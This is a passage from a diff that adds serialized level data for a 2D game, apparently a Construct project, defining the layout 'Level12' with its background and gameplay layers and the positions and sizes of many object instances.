+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 400,
+ 240,
+ 0,
+ 800,
+ 480,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 62,
+ 1219,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ]
+ ],
+ [],
+ []
+ ],
+ [
+ "Level12",
+ 5200,
+ 1500,
+ false,
+ "Gameplay1",
+ 460261385212121,
+ [
+ [
+ "fondo",
+ 0,
+ 958690343257281,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.699999988079071,
+ 0.800000011920929,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -109,
+ -198,
+ 0,
+ 10112,
+ 1814,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 306,
+ 5947,
+ [],
+ [],
+ [
+ 0,
+ 0
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Background5",
+ 1,
+ 493754131325766,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -24,
+ -187,
+ 0,
+ 7497,
+ 573,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 331,
+ 5948,
+ [],
+ [],
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ -678,
+ 625,
+ 0,
+ 141,
+ 136,
+ 0,
+ 0,
+ 1,
+ 0.5035461187362671,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 349,
+ 5949,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ 5222,
+ 732,
+ 0,
+ 40,
+ 1510,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 353,
+ 5950,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -21,
+ 620,
+ 0,
+ 40,
+ 1248,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 353,
+ 5951,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Layer 0",
+ 2,
+ 113021915739221,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.05000000074505806,
+ 0.300000011920929,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 576,
+ 94,
+ 0,
+ 250,
+ 250,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 309,
+ 5952,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "fondo2",
+ 3,
+ 903526659809736,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.800000011920929,
+ 0.8500000238418579,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -240,
+ 2808,
+ 0,
+ 10152,
+ 594,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 307,
+ 5953,
+ [],
+ [],
+ [
+ 0,
+ 0
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Layer 1",
+ 4,
+ 888217412413951,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -292,
+ 2597,
+ 0,
+ 10152,
+ 320,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 308,
+ 5954,
+ [],
+ [],
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ 1341,
+ 731,
+ 0,
+ 388.008056640625,
+ 125.8404541015625,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 5955,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 503,
+ 741,
+ 0,
+ 388.008056640625,
+ 125.8404541015625,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 5956,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2844,
+ 479,
+ 0,
+ 388.008056640625,
+ 125.8404541015625,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 5957,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4033,
+ 637,
+ 0,
+ 388.008056640625,
+ 125.8404541015625,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 5958,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5022,
+ 787,
+ 0,
+ 388.008056640625,
+ 125.8404541015625,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 5959,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1103,
+ 579,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5962,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1104,
+ 501,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5963,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1104,
+ 422,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5964,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1105,
+ 344,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5965,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1106,
+ 265,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5966,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1107,
+ 186,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5967,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1107,
+ 107,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5968,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1108,
+ 29,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5969,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1109,
+ -50,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5970,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1565,
+ 716,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5107,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1565,
+ 636,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5156,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1791,
+ 634,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5157,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2011,
+ 523,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5158,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2233,
+ 408,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5159,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2461,
+ 299,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5160,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3303,
+ 277,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5173,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3303.89501953125,
+ 198.9832611083984,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5174,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3303.89501953125,
+ 120.9665374755859,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5175,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3303.836669921875,
+ 41.99868774414063,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5176,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 363,
+ 727,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4496,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1261,
+ 794,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4497,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 638,
+ 1031,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4498,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 975,
+ 1071,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4499,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1653,
+ 1004,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4500,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1971,
+ 1095,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4501,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2193,
+ 961,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4502,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2439,
+ 1098,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4503,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2646,
+ 993,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4504,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2860,
+ 912,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4505,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3169,
+ 994,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4506,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3487,
+ 990,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4507,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3709,
+ 890,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4508,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4352,
+ 931,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4509,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4650,
+ 1037,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4510,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2516,
+ 608,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4521,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4045,
+ 736,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4522,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 893,
+ 1302,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4513,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1309,
+ 1125,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4512,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 290,
+ 960,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4511,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4948,
+ 839,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 5971,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3910,
+ 680,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 5983,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4277,
+ 684,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 5984,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3111,
+ 338,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 5985,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2695,
+ 341,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 5986,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1397,
+ 758,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 5992,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 125,
+ 586,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 5996,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1594,
+ 1227,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4514,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1840,
+ 1336,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4515,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2466,
+ 1242,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4516,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2190,
+ 1364,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4517,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2756,
+ 1349,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4518,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3636,
+ 1302,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4519,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3187,
+ 1370,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4520,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Game",
+ 5,
+ 313590242034541,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -114,
+ 674,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 4533,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5183,
+ 973,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 4531,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4877,
+ 1157,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 4532,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3828,
+ 1014,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 4530,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4087,
+ 844,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 4529,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2699,
+ 525,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 4528,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1183,
+ 1169,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 4527,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1454,
+ 910,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 4526,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 584,
+ 1004,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
